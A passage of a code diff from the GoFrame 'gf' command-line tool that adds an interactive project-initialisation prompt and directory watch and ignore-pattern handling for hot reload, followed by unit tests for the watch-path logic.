s := gcmd.Scanf(`the folder "%s" is not empty, files might be overwrote, continue? [y/n]: `, in.Name)
|
||||
@ -180,3 +268,170 @@ func (c cInit) Index(ctx context.Context, in cInitInput) (out *cInitOutput, err
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// initInteractive enters interactive mode when no arguments provided
|
||||
func (c cInit) initInteractive(ctx context.Context, in cInitInput) (out *cInitOutput, err error) {
|
||||
reader := bufio.NewReader(os.Stdin)
|
||||
|
||||
// Ask user which mode to use
|
||||
fmt.Println("\nPlease select initialization mode:")
|
||||
fmt.Println(strings.Repeat("-", 50))
|
||||
fmt.Println(" [1] Built-in template (default)")
|
||||
fmt.Println(" [2] Remote template")
|
||||
fmt.Println(strings.Repeat("-", 50))
|
||||
|
||||
fmt.Print("Select mode [1-2] (default: 1): ")
|
||||
input, err := reader.ReadString('\n')
|
||||
if err != nil {
|
||||
mlog.Fatalf("failed to read input: %v", err)
|
||||
return
|
||||
}
|
||||
input = strings.TrimSpace(input)
|
||||
|
||||
if input == "2" {
|
||||
in.Interactive = true
|
||||
return c.initFromRemote(ctx, in)
|
||||
}
|
||||
|
||||
// Built-in template mode
|
||||
fmt.Println("\nPlease select project type:")
|
||||
fmt.Println(strings.Repeat("-", 50))
|
||||
fmt.Println(" [1] Single project (default)")
|
||||
fmt.Println(" [2] Mono-repo project")
|
||||
fmt.Println(" [3] Mono-repo app")
|
||||
fmt.Println(strings.Repeat("-", 50))
|
||||
|
||||
fmt.Print("Select type [1-3] (default: 1): ")
|
||||
input, err = reader.ReadString('\n')
|
||||
if err != nil {
|
||||
mlog.Fatalf("failed to read input: %v", err)
|
||||
return
|
||||
}
|
||||
input = strings.TrimSpace(input)
|
||||
|
||||
switch input {
|
||||
case "2":
|
||||
in.Mono = true
|
||||
case "3":
|
||||
in.MonoApp = true
|
||||
}
|
||||
|
||||
// Get project name
|
||||
for {
|
||||
fmt.Print("Enter project name: ")
|
||||
input, err = reader.ReadString('\n')
|
||||
if err != nil {
|
||||
mlog.Fatalf("failed to read input: %v", err)
|
||||
return
|
||||
}
|
||||
in.Name = strings.TrimSpace(input)
|
||||
if in.Name != "" {
|
||||
break
|
||||
}
|
||||
fmt.Println("Project name cannot be empty")
|
||||
}
|
||||
|
||||
// Get module path (optional)
|
||||
fmt.Printf("Enter Go module path (leave empty to use \"%s\"): ", in.Name)
|
||||
input, err = reader.ReadString('\n')
|
||||
if err != nil {
|
||||
mlog.Fatalf("failed to read input: %v", err)
|
||||
return
|
||||
}
|
||||
in.Module = strings.TrimSpace(input)
|
||||
|
||||
// Ask about update
|
||||
fmt.Print("Update to latest GoFrame version? [y/N]: ")
|
||||
input, err = reader.ReadString('\n')
|
||||
if err != nil {
|
||||
mlog.Fatalf("failed to read input: %v", err)
|
||||
return
|
||||
}
|
||||
input = strings.TrimSpace(strings.ToLower(input))
|
||||
in.Update = input == "y" || input == "yes"
|
||||
|
||||
fmt.Println()
|
||||
return c.initFromBuiltin(ctx, in)
|
||||
}
|
||||
|
||||
// interactiveSelectTemplate prompts user to select a template interactively
|
||||
func interactiveSelectTemplate() (repo, name, modPath string, upgradeDeps bool, err error) {
|
||||
reader := bufio.NewReader(os.Stdin)
|
||||
|
||||
// 1. Select template
|
||||
fmt.Println("\nPlease select a project template:")
|
||||
fmt.Println(strings.Repeat("-", 50))
|
||||
for i, t := range defaultTemplates {
|
||||
fmt.Printf(" [%d] %s - %s\n", i+1, t.Name, t.Desc)
|
||||
}
|
||||
fmt.Printf(" [%d] Custom repository URL\n", len(defaultTemplates)+1)
|
||||
fmt.Println(strings.Repeat("-", 50))
|
||||
|
||||
for {
|
||||
fmt.Printf("Select template [1-%d]: ", len(defaultTemplates)+1)
|
||||
input, err := reader.ReadString('\n')
|
||||
if err != nil {
|
||||
return "", "", "", false, fmt.Errorf("failed to read template selection: %w", err)
|
||||
}
|
||||
input = strings.TrimSpace(input)
|
||||
|
||||
idx, e := strconv.Atoi(input)
|
||||
if e != nil || idx < 1 || idx > len(defaultTemplates)+1 {
|
||||
fmt.Printf("Invalid selection, please enter a number between 1-%d\n", len(defaultTemplates)+1)
|
||||
continue
|
||||
}
|
||||
|
||||
if idx <= len(defaultTemplates) {
|
||||
repo = defaultTemplates[idx-1].Repo
|
||||
fmt.Printf("Selected: %s\n\n", repo)
|
||||
} else {
|
||||
// Custom URL
|
||||
fmt.Print("Enter repository URL: ")
|
||||
input, err = reader.ReadString('\n')
|
||||
if err != nil {
|
||||
return "", "", "", false, fmt.Errorf("failed to read repository URL: %w", err)
|
||||
}
|
||||
repo = strings.TrimSpace(input)
|
||||
if repo == "" {
|
||||
fmt.Println("Repository URL cannot be empty")
|
||||
continue
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
|
||||
// 2. Enter project name
|
||||
for {
|
||||
fmt.Print("Enter project name: ")
|
||||
input, err := reader.ReadString('\n')
|
||||
if err != nil {
|
||||
return "", "", "", false, fmt.Errorf("failed to read project name: %w", err)
|
||||
}
|
||||
name = strings.TrimSpace(input)
|
||||
if name == "" {
|
||||
fmt.Println("Project name cannot be empty")
|
||||
continue
|
||||
}
|
||||
break
|
||||
}
|
||||
|
||||
// 3. Enter module path (optional)
|
||||
fmt.Printf("Enter Go module path (leave empty to use \"%s\"): ", name)
|
||||
input, err := reader.ReadString('\n')
|
||||
if err != nil {
|
||||
return "", "", "", false, fmt.Errorf("failed to read module path: %w", err)
|
||||
}
|
||||
modPath = strings.TrimSpace(input)
|
||||
|
||||
// 4. Ask about upgrade
|
||||
fmt.Print("Upgrade dependencies to latest (go get -u)? [y/N]: ")
|
||||
input, err = reader.ReadString('\n')
|
||||
if err != nil {
|
||||
return "", "", "", false, fmt.Errorf("failed to read upgrade confirmation: %w", err)
|
||||
}
|
||||
input = strings.TrimSpace(strings.ToLower(input))
|
||||
upgradeDeps = input == "y" || input == "yes"
|
||||
|
||||
fmt.Println()
|
||||
return repo, name, modPath, upgradeDeps, nil
|
||||
}
|
||||
|
||||
@ -33,12 +33,18 @@ type cRun struct {
|
||||
g.Meta `name:"run" usage:"{cRunUsage}" brief:"{cRunBrief}" eg:"{cRunEg}" dc:"{cRunDc}"`
|
||||
}
|
||||
|
||||
type watchPath struct {
|
||||
Path string
|
||||
Recursive bool
|
||||
}
|
||||
|
||||
type cRunApp struct {
|
||||
File string // Go run file name.
|
||||
Path string // Directory storing built binary.
|
||||
Options string // Extra "go run" options.
|
||||
Args string // Custom arguments.
|
||||
WatchPaths []string // Watch paths for live reload.
|
||||
File string // Go run file name.
|
||||
Path string // Directory storing built binary.
|
||||
Options string // Extra "go run" options.
|
||||
Args string // Custom arguments.
|
||||
WatchPaths []string // Watch paths for live reload.
|
||||
IgnorePatterns []string // Custom ignore patterns.
|
||||
}
|
||||
|
||||
const (
|
||||
@ -48,43 +54,47 @@ const (
|
||||
gf run main.go
|
||||
gf run main.go --args "server -p 8080"
|
||||
gf run main.go -mod=vendor
|
||||
gf run main.go -w "manifest/config/*.yaml"
|
||||
gf run main.go -w internal,api
|
||||
gf run main.go -i ".git,node_modules"
|
||||
`
|
||||
cRunDc = `
|
||||
The "run" command is used for running go codes with hot-compiled-like feature,
|
||||
which compiles and runs the go codes asynchronously when codes change.
|
||||
`
|
||||
cRunFileBrief = `building file path.`
|
||||
cRunPathBrief = `output directory path for built binary file. it's "./" in default`
|
||||
cRunExtraBrief = `the same options as "go run"/"go build" except some options as follows defined`
|
||||
cRunArgsBrief = `custom arguments for your process`
|
||||
cRunWatchPathsBrief = `watch additional paths for live reload, separated by ",". i.e. "manifest/config/*.yaml"`
|
||||
cRunFileBrief = `building file path.`
|
||||
cRunPathBrief = `output directory path for built binary file. it's "./" in default`
|
||||
cRunExtraBrief = `the same options as "go run"/"go build" except some options as follows defined`
|
||||
cRunArgsBrief = `custom arguments for your process`
|
||||
cRunWatchPathsBrief = `watch additional paths for live reload, separated by ",". i.e. "internal,api"`
|
||||
cRunIgnorePatternBrief = `custom ignore patterns for watch, separated by ",". i.e. ".git,node_modules". default patterns: node_modules, vendor, .*, _*. Glob syntax: "*" matches any chars, "?" matches single char, "[abc]" matches char class. Note: patterns match directory names only, not paths`
|
||||
)
|
||||
|
||||
var process *gproc.Process
|
||||
|
||||
func init() {
|
||||
gtag.Sets(g.MapStrStr{
|
||||
`cRunUsage`: cRunUsage,
|
||||
`cRunBrief`: cRunBrief,
|
||||
`cRunEg`: cRunEg,
|
||||
`cRunDc`: cRunDc,
|
||||
`cRunFileBrief`: cRunFileBrief,
|
||||
`cRunPathBrief`: cRunPathBrief,
|
||||
`cRunExtraBrief`: cRunExtraBrief,
|
||||
`cRunArgsBrief`: cRunArgsBrief,
|
||||
`cRunWatchPathsBrief`: cRunWatchPathsBrief,
|
||||
`cRunUsage`: cRunUsage,
|
||||
`cRunBrief`: cRunBrief,
|
||||
`cRunEg`: cRunEg,
|
||||
`cRunDc`: cRunDc,
|
||||
`cRunFileBrief`: cRunFileBrief,
|
||||
`cRunPathBrief`: cRunPathBrief,
|
||||
`cRunExtraBrief`: cRunExtraBrief,
|
||||
`cRunArgsBrief`: cRunArgsBrief,
|
||||
`cRunWatchPathsBrief`: cRunWatchPathsBrief,
|
||||
`cRunIgnorePatternBrief`: cRunIgnorePatternBrief,
|
||||
})
|
||||
}
|
||||
|
||||
type (
|
||||
cRunInput struct {
|
||||
g.Meta `name:"run" config:"gfcli.run"`
|
||||
File string `name:"FILE" arg:"true" brief:"{cRunFileBrief}" v:"required"`
|
||||
Path string `name:"path" short:"p" brief:"{cRunPathBrief}" d:"./"`
|
||||
Extra string `name:"extra" short:"e" brief:"{cRunExtraBrief}"`
|
||||
Args string `name:"args" short:"a" brief:"{cRunArgsBrief}"`
|
||||
WatchPaths []string `name:"watchPaths" short:"w" brief:"{cRunWatchPathsBrief}"`
|
||||
g.Meta `name:"run" config:"gfcli.run"`
|
||||
File string `name:"FILE" arg:"true" brief:"{cRunFileBrief}" v:"required"`
|
||||
Path string `name:"path" short:"p" brief:"{cRunPathBrief}" d:"./"`
|
||||
Extra string `name:"extra" short:"e" brief:"{cRunExtraBrief}"`
|
||||
Args string `name:"args" short:"a" brief:"{cRunArgsBrief}"`
|
||||
WatchPaths []string `name:"watchPaths" short:"w" brief:"{cRunWatchPathsBrief}"`
|
||||
IgnorePatterns []string `name:"ignorePatterns" short:"i" brief:"{cRunIgnorePatternBrief}"`
|
||||
}
|
||||
cRunOutput struct{}
|
||||
)
|
||||
@ -101,17 +111,25 @@ func (c cRun) Index(ctx context.Context, in cRunInput) (out *cRunOutput, err err
|
||||
mlog.Fatalf(`command "go" not found in your environment, please install golang first to proceed this command`)
|
||||
}
|
||||
|
||||
if len(in.WatchPaths) == 1 {
|
||||
in.WatchPaths = strings.Split(in.WatchPaths[0], ",")
|
||||
// Parse comma-separated values in WatchPaths
|
||||
if len(in.WatchPaths) > 0 {
|
||||
in.WatchPaths = parseCommaSeparatedArgs(in.WatchPaths)
|
||||
mlog.Printf("watchPaths: %v", in.WatchPaths)
|
||||
}
|
||||
|
||||
// Parse comma-separated values in IgnorePatterns
|
||||
if len(in.IgnorePatterns) > 0 {
|
||||
in.IgnorePatterns = parseCommaSeparatedArgs(in.IgnorePatterns)
|
||||
mlog.Printf("ignorePatterns: %v", in.IgnorePatterns)
|
||||
}
|
||||
|
||||
app := &cRunApp{
|
||||
File: in.File,
|
||||
Path: filepath.FromSlash(in.Path),
|
||||
Options: in.Extra,
|
||||
Args: in.Args,
|
||||
WatchPaths: in.WatchPaths,
|
||||
File: in.File,
|
||||
Path: filepath.FromSlash(in.Path),
|
||||
Options: in.Extra,
|
||||
Args: in.Args,
|
||||
WatchPaths: in.WatchPaths,
|
||||
IgnorePatterns: in.IgnorePatterns,
|
||||
}
|
||||
dirty := gtype.NewBool()
|
||||
|
||||
@ -121,6 +139,7 @@ func (c cRun) Index(ctx context.Context, in cRunInput) (out *cRunOutput, err err
|
||||
return
|
||||
}
|
||||
|
||||
// Check if the file extension is 'go'.
|
||||
if gfile.ExtName(event.Path) != "go" {
|
||||
return
|
||||
}
|
||||
@ -138,15 +157,11 @@ func (c cRun) Index(ctx context.Context, in cRunInput) (out *cRunOutput, err err
|
||||
})
|
||||
}
|
||||
|
||||
if len(app.WatchPaths) > 0 {
|
||||
for _, path := range app.WatchPaths {
|
||||
_, err = gfsnotify.Add(gfile.RealPath(path), callbackFunc)
|
||||
if err != nil {
|
||||
mlog.Fatal(err)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
_, err = gfsnotify.Add(gfile.RealPath("."), callbackFunc)
|
||||
// Get directories to watch (recursive or non-recursive monitoring).
|
||||
watchPaths := app.getWatchPaths()
|
||||
for _, wp := range watchPaths {
|
||||
option := gfsnotify.WatchOption{NoRecursive: !wp.Recursive}
|
||||
_, err = gfsnotify.Add(wp.Path, callbackFunc, option)
|
||||
if err != nil {
|
||||
mlog.Fatal(err)
|
||||
}
|
||||
@ -249,35 +264,181 @@ func (app *cRunApp) End(ctx context.Context, sig os.Signal, outputPath string) {
|
||||
}
|
||||
|
||||
func (app *cRunApp) genOutputPath() (outputPath string) {
|
||||
var renamePath string
|
||||
outputPath = gfile.Join(app.Path, gfile.Name(app.File))
|
||||
if runtime.GOOS == "windows" {
|
||||
outputPath += ".exe"
|
||||
if gfile.Exists(outputPath) {
|
||||
renamePath = outputPath + "~"
|
||||
renamePath := outputPath + "~"
|
||||
if err := gfile.Rename(outputPath, renamePath); err != nil {
|
||||
mlog.Print(err)
|
||||
}
|
||||
// Clean up the renamed old binary file
|
||||
defer func() {
|
||||
if gfile.Exists(renamePath) {
|
||||
_ = gfile.Remove(renamePath)
|
||||
}
|
||||
}()
|
||||
}
|
||||
}
|
||||
return filepath.FromSlash(outputPath)
|
||||
}
|
||||
|
||||
func matchWatchPaths(watchPaths []string, eventPath string) bool {
|
||||
for _, path := range watchPaths {
|
||||
absPath, err := filepath.Abs(path)
|
||||
if err != nil {
|
||||
mlog.Printf("match watchPath '%s' error: %s", path, err.Error())
|
||||
// getWatchPaths uses DFS to find the minimal set of directories to watch.
|
||||
// Rule: if a directory and all its descendants have no ignored subdirectories, watch it;
|
||||
// otherwise, recurse into valid children and watch the current directory non-recursively.
|
||||
func (app *cRunApp) getWatchPaths() []watchPath {
|
||||
roots := []string{"."}
|
||||
if len(app.WatchPaths) > 0 {
|
||||
roots = app.WatchPaths
|
||||
}
|
||||
|
||||
// Use custom ignore patterns if provided, otherwise use default.
|
||||
ignorePatterns := defaultIgnorePatterns
|
||||
if len(app.IgnorePatterns) > 0 {
|
||||
ignorePatterns = app.IgnorePatterns
|
||||
}
|
||||
|
||||
var watchPaths []watchPath
|
||||
|
||||
for _, root := range roots {
|
||||
absRoot := gfile.RealPath(root)
|
||||
if absRoot == "" {
|
||||
mlog.Printf("watch path '%s' not found, skipping", root)
|
||||
continue
|
||||
}
|
||||
matched, err := filepath.Match(absPath, eventPath)
|
||||
if err != nil {
|
||||
mlog.Printf("match watchPath '%s' error: %s", path, err.Error())
|
||||
if isIgnoredDirName(absRoot, ignorePatterns) {
|
||||
continue
|
||||
}
|
||||
if matched {
|
||||
app.collectWatchPaths(absRoot, ignorePatterns, &watchPaths)
|
||||
}
|
||||
|
||||
if len(watchPaths) == 0 {
|
||||
mlog.Printf("no directories to watch, using current directory")
|
||||
if absCur := gfile.RealPath("."); absCur != "" {
|
||||
return []watchPath{{Path: absCur, Recursive: true}}
|
||||
}
|
||||
return []watchPath{{Path: ".", Recursive: true}}
|
||||
}
|
||||
|
||||
mlog.Printf("watching %d paths", len(watchPaths))
|
||||
for _, wp := range watchPaths {
|
||||
recursiveStr := "recursive"
|
||||
if !wp.Recursive {
|
||||
recursiveStr = "non-recursive"
|
||||
}
|
||||
mlog.Debugf(" - %s (%s)", wp.Path, recursiveStr)
|
||||
}
|
||||
return watchPaths
|
||||
}
|
||||
|
||||
// collectWatchPaths performs a DFS traversal to collect the minimal set of directories to watch.
|
||||
// Returns true if the directory or any of its descendants contains ignored directories.
|
||||
// Rule: if a directory has no ignored descendants at any depth, watch it recursively;
|
||||
// otherwise, watch it non-recursively and recurse into valid children.
|
||||
func (app *cRunApp) collectWatchPaths(dir string, ignorePatterns []string, watchPaths *[]watchPath) bool {
|
||||
entries, err := gfile.ScanDir(dir, "*", false)
|
||||
if err != nil {
|
||||
mlog.Printf("scan directory '%s' error: %s", dir, err.Error())
|
||||
// If we can't scan the directory, add it to watch list as fallback
|
||||
*watchPaths = append(*watchPaths, watchPath{Path: dir, Recursive: true})
|
||||
return false
|
||||
}
|
||||
|
||||
// First pass: identify valid subdirectories and check for directly ignored children
|
||||
var validSubDirs []string
|
||||
hasIgnoredChild := false
|
||||
for _, entry := range entries {
|
||||
if !gfile.IsDir(entry) {
|
||||
continue
|
||||
}
|
||||
if isIgnoredDirName(entry, ignorePatterns) {
|
||||
hasIgnoredChild = true
|
||||
} else {
|
||||
validSubDirs = append(validSubDirs, entry)
|
||||
}
|
||||
}
|
||||
|
||||
// If already has ignored child, we know this dir needs non-recursive watch
|
||||
if hasIgnoredChild {
|
||||
*watchPaths = append(*watchPaths, watchPath{Path: dir, Recursive: false})
|
||||
for _, subDir := range validSubDirs {
|
||||
app.collectWatchPaths(subDir, ignorePatterns, watchPaths)
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// No ignored children, but need to check descendants recursively
|
||||
// Collect results from all subdirectories first
|
||||
subResults := make([]bool, len(validSubDirs))
|
||||
subWatchPaths := make([][]watchPath, len(validSubDirs))
|
||||
hasIgnoredDescendant := false
|
||||
|
||||
for i, subDir := range validSubDirs {
|
||||
var subPaths []watchPath
|
||||
subResults[i] = app.collectWatchPaths(subDir, ignorePatterns, &subPaths)
|
||||
subWatchPaths[i] = subPaths
|
||||
if subResults[i] {
|
||||
hasIgnoredDescendant = true
|
||||
}
|
||||
}
|
||||
|
||||
if !hasIgnoredDescendant {
|
||||
// No ignored descendants at any depth, watch this directory recursively
|
||||
*watchPaths = append(*watchPaths, watchPath{Path: dir, Recursive: true})
|
||||
return false
|
||||
}
|
||||
|
||||
// Has ignored descendants, watch current directory non-recursively
|
||||
// and add all collected subdirectory watch paths
|
||||
*watchPaths = append(*watchPaths, watchPath{Path: dir, Recursive: false})
|
||||
for _, subPaths := range subWatchPaths {
|
||||
*watchPaths = append(*watchPaths, subPaths...)
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// defaultIgnorePatterns contains glob patterns for directory names that should be ignored when watching.
|
||||
// These directories typically contain third-party code or non-source files.
|
||||
// Supported glob syntax (filepath.Match):
|
||||
// - "*" matches any sequence of non-separator characters
|
||||
// - "?" matches any single non-separator character
|
||||
// - "[abc]" matches any character in the bracket
|
||||
// - "[a-z]" matches any character in the range
|
||||
// - "[^abc]" or "[!abc]" matches any character not in the bracket
|
||||
//
|
||||
// Note: patterns match directory base names only, not full paths (no "/" or path separators allowed).
|
||||
var defaultIgnorePatterns = []string{
|
||||
"node_modules",
|
||||
"vendor",
|
||||
".*", // All hidden directories (covers .git, .svn, .hg, .idea, .vscode, etc.)
|
||||
"_*", // Directories starting with underscore
|
||||
}
|
||||
|
||||
// isIgnoredDirName checks if a directory name matches any ignored pattern.
|
||||
// It accepts either a full path or just the directory name, but only matches against the base name.
|
||||
// Note: patterns should not contain "/" as they only match directory names, not paths.
|
||||
func isIgnoredDirName(name string, ignorePatterns []string) bool {
|
||||
baseName := gfile.Basename(name)
|
||||
for _, pattern := range ignorePatterns {
|
||||
if matched, _ := filepath.Match(pattern, baseName); matched {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// parseCommaSeparatedArgs parses command line arguments that may contain comma-separated values.
|
||||
// It handles both single argument with commas (e.g., "a,b,c") and multiple arguments.
|
||||
func parseCommaSeparatedArgs(args []string) []string {
|
||||
var result []string
|
||||
for _, arg := range args {
|
||||
parts := strings.Split(arg, ",")
|
||||
for _, part := range parts {
|
||||
trimmed := strings.TrimSpace(part)
|
||||
if trimmed != "" {
|
||||
result = append(result, trimmed)
|
||||
}
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
336
cmd/gf/internal/cmd/cmd_z_unit_run_test.go
Normal file
336
cmd/gf/internal/cmd/cmd_z_unit_run_test.go
Normal file
@ -0,0 +1,336 @@
|
||||
// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/gogf/gf/v2/os/gfile"
|
||||
"github.com/gogf/gf/v2/test/gtest"
|
||||
)
|
||||
|
||||
func Test_cRunApp_getWatchPaths_Basic(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
app := &cRunApp{
|
||||
WatchPaths: []string{"."},
|
||||
}
|
||||
watchPaths := app.getWatchPaths()
|
||||
|
||||
t.AssertGT(len(watchPaths), 0)
|
||||
for _, v := range watchPaths {
|
||||
t.Log(v)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func Test_cRunApp_getWatchPaths_EmptyWatchPaths(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
app := &cRunApp{
|
||||
WatchPaths: []string{},
|
||||
}
|
||||
watchPaths := app.getWatchPaths()
|
||||
|
||||
// Should default to current directory "."
|
||||
t.AssertGT(len(watchPaths), 0)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_cRunApp_getWatchPaths_CustomIgnorePattern(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
app := &cRunApp{
|
||||
WatchPaths: []string{"testdata"},
|
||||
IgnorePatterns: []string{"2572"},
|
||||
}
|
||||
watchPaths := app.getWatchPaths()
|
||||
|
||||
// Ensure the "2572" directory is not watched directly.
|
||||
for _, wp := range watchPaths {
|
||||
t.Log("watch path:", wp)
|
||||
t.Assert(strings.HasSuffix(wp.Path, "2572"), false)
|
||||
}
|
||||
t.AssertGT(len(watchPaths), 0)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_cRunApp_getWatchPaths_WithIgnoredDirectories(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Create a temporary directory structure for testing
|
||||
tempDir := gfile.Temp("gf_run_test")
|
||||
defer gfile.Remove(tempDir)
|
||||
|
||||
// Create directory structure:
|
||||
// tempDir/
|
||||
// ├── src/
|
||||
// │ ├── api/
|
||||
// │ └── internal/
|
||||
// ├── vendor/ <-- ignored
|
||||
// └── node_modules/ <-- ignored
|
||||
gfile.Mkdir(filepath.Join(tempDir, "src", "api"))
|
||||
gfile.Mkdir(filepath.Join(tempDir, "src", "internal"))
|
||||
gfile.Mkdir(filepath.Join(tempDir, "vendor"))
|
||||
gfile.Mkdir(filepath.Join(tempDir, "node_modules"))
|
||||
|
||||
app := &cRunApp{
|
||||
WatchPaths: []string{tempDir},
|
||||
}
|
||||
watchPaths := app.getWatchPaths()
|
||||
|
||||
// Should watch tempDir non-recursively (to catch top-level files) and src recursively
|
||||
t.Assert(len(watchPaths), 2)
|
||||
// First path is tempDir (non-recursive)
|
||||
t.Assert(watchPaths[0].Path, tempDir)
|
||||
t.Assert(watchPaths[0].Recursive, false)
|
||||
// Second path is src (recursive, since it has no ignored descendants)
|
||||
t.Assert(watchPaths[1].Path, filepath.Join(tempDir, "src"))
|
||||
t.Assert(watchPaths[1].Recursive, true)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_cRunApp_getWatchPaths_NoIgnoredDirectories(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Create a temporary directory structure without ignored directories
|
||||
tempDir := gfile.Temp("gf_run_test_no_ignore")
|
||||
defer gfile.Remove(tempDir)
|
||||
|
||||
// Create directory structure without ignored patterns:
|
||||
// tempDir/
|
||||
// ├── src/
|
||||
// │ ├── api/
|
||||
// │ └── internal/
|
||||
gfile.Mkdir(filepath.Join(tempDir, "src", "api"))
|
||||
gfile.Mkdir(filepath.Join(tempDir, "src", "internal"))
|
||||
|
||||
app := &cRunApp{
|
||||
WatchPaths: []string{tempDir},
|
||||
}
|
||||
watchPaths := app.getWatchPaths()
|
||||
|
||||
// Should watch the root directory recursively since no ignored directories exist
|
||||
t.Assert(len(watchPaths), 1)
|
||||
t.Assert(watchPaths[0].Path, tempDir)
|
||||
t.Assert(watchPaths[0].Recursive, true)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_cRunApp_getWatchPaths_CustomIgnorePatterns(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Create a temporary directory structure
|
||||
tempDir := gfile.Temp("gf_run_test_custom_ignore")
|
||||
defer gfile.Remove(tempDir)
|
||||
|
||||
// Create directory structure:
|
||||
// tempDir/
|
||||
// ├── src/
|
||||
// │ ├── api/
|
||||
// │ └── internal/
|
||||
// ├── build/ <-- ignored
|
||||
// └── dist/ <-- ignored
|
||||
gfile.Mkdir(filepath.Join(tempDir, "src", "api"))
|
||||
gfile.Mkdir(filepath.Join(tempDir, "src", "internal"))
|
||||
gfile.Mkdir(filepath.Join(tempDir, "build"))
|
||||
gfile.Mkdir(filepath.Join(tempDir, "dist"))
|
||||
|
||||
app := &cRunApp{
|
||||
WatchPaths: []string{tempDir},
|
||||
IgnorePatterns: []string{"build", "dist"},
|
||||
}
|
||||
watchPaths := app.getWatchPaths()
|
||||
|
||||
// Should watch tempDir non-recursively and src recursively
|
||||
t.Assert(len(watchPaths), 2)
|
||||
t.Assert(watchPaths[0].Path, tempDir)
|
||||
t.Assert(watchPaths[0].Recursive, false)
|
||||
t.Assert(watchPaths[1].Path, filepath.Join(tempDir, "src"))
|
||||
t.Assert(watchPaths[1].Recursive, true)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_cRunApp_getWatchPaths_DeepNestedStructure(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Create a deep nested directory structure
|
||||
tempDir := gfile.Temp("gf_run_test_deep")
|
||||
defer gfile.Remove(tempDir)
|
||||
|
||||
// Create deep directory structure:
|
||||
// tempDir/
|
||||
// ├── a/
|
||||
// │ ├── b/
|
||||
// │ │ └── c/
|
||||
// │ └── vendor/ <-- ignored
|
||||
// └── d/
|
||||
gfile.Mkdir(filepath.Join(tempDir, "a", "b", "c"))
|
||||
gfile.Mkdir(filepath.Join(tempDir, "a", "vendor"))
|
||||
gfile.Mkdir(filepath.Join(tempDir, "d"))
|
||||
|
||||
app := &cRunApp{
|
||||
WatchPaths: []string{tempDir},
|
||||
}
|
||||
watchPaths := app.getWatchPaths()
|
||||
|
||||
// Should watch individual valid directories due to ignored vendor directory
|
||||
t.AssertGT(len(watchPaths), 0)
|
||||
|
||||
// Verify that vendor directory is not in watch list
|
||||
for _, wp := range watchPaths {
|
||||
t.Assert(strings.Contains(wp.Path, "vendor"), false)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func Test_cRunApp_getWatchPaths_MultipleRoots(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Create multiple temporary directories
|
||||
tempDir1 := gfile.Temp("gf_run_test_multi1")
|
||||
tempDir2 := gfile.Temp("gf_run_test_multi2")
|
||||
defer gfile.Remove(tempDir1)
|
||||
defer gfile.Remove(tempDir2)
|
||||
|
||||
gfile.Mkdir(filepath.Join(tempDir1, "src"))
|
||||
gfile.Mkdir(filepath.Join(tempDir2, "api"))
|
||||
|
||||
app := &cRunApp{
|
||||
WatchPaths: []string{tempDir1, tempDir2},
|
||||
}
|
||||
watchPaths := app.getWatchPaths()
|
||||
|
||||
// Should watch both root directories recursively
|
||||
t.Assert(len(watchPaths), 2)
|
||||
|
||||
// Both directories should be in the watch list
|
||||
foundDir1, foundDir2 := false, false
|
||||
for _, wp := range watchPaths {
|
||||
if wp.Path == tempDir1 {
|
||||
foundDir1 = true
|
||||
t.Assert(wp.Recursive, true)
|
||||
}
|
||||
if wp.Path == tempDir2 {
|
||||
foundDir2 = true
|
||||
t.Assert(wp.Recursive, true)
|
||||
}
|
||||
}
|
||||
t.Assert(foundDir1, true)
|
||||
t.Assert(foundDir2, true)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_cRunApp_getWatchPaths_NonExistentDirectory(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
app := &cRunApp{
|
||||
WatchPaths: []string{"/non/existent/path"},
|
||||
}
|
||||
watchPaths := app.getWatchPaths()
|
||||
|
||||
// Should fall back to current directory when no valid paths found
|
||||
t.AssertGT(len(watchPaths), 0)
|
||||
|
||||
// Should contain current directory
|
||||
currentDir, _ := os.Getwd()
|
||||
foundCurrentDir := false
|
||||
for _, wp := range watchPaths {
|
||||
if wp.Path == currentDir {
|
||||
foundCurrentDir = true
|
||||
break
|
||||
}
|
||||
}
|
||||
t.Assert(foundCurrentDir, true)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_isIgnoredDirName(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Test default ignore patterns
|
||||
t.Assert(isIgnoredDirName("node_modules", defaultIgnorePatterns), true)
|
||||
t.Assert(isIgnoredDirName("vendor", defaultIgnorePatterns), true)
|
||||
t.Assert(isIgnoredDirName(".git", defaultIgnorePatterns), true)
|
||||
t.Assert(isIgnoredDirName("_private", defaultIgnorePatterns), true)
|
||||
t.Assert(isIgnoredDirName("src", defaultIgnorePatterns), false)
|
||||
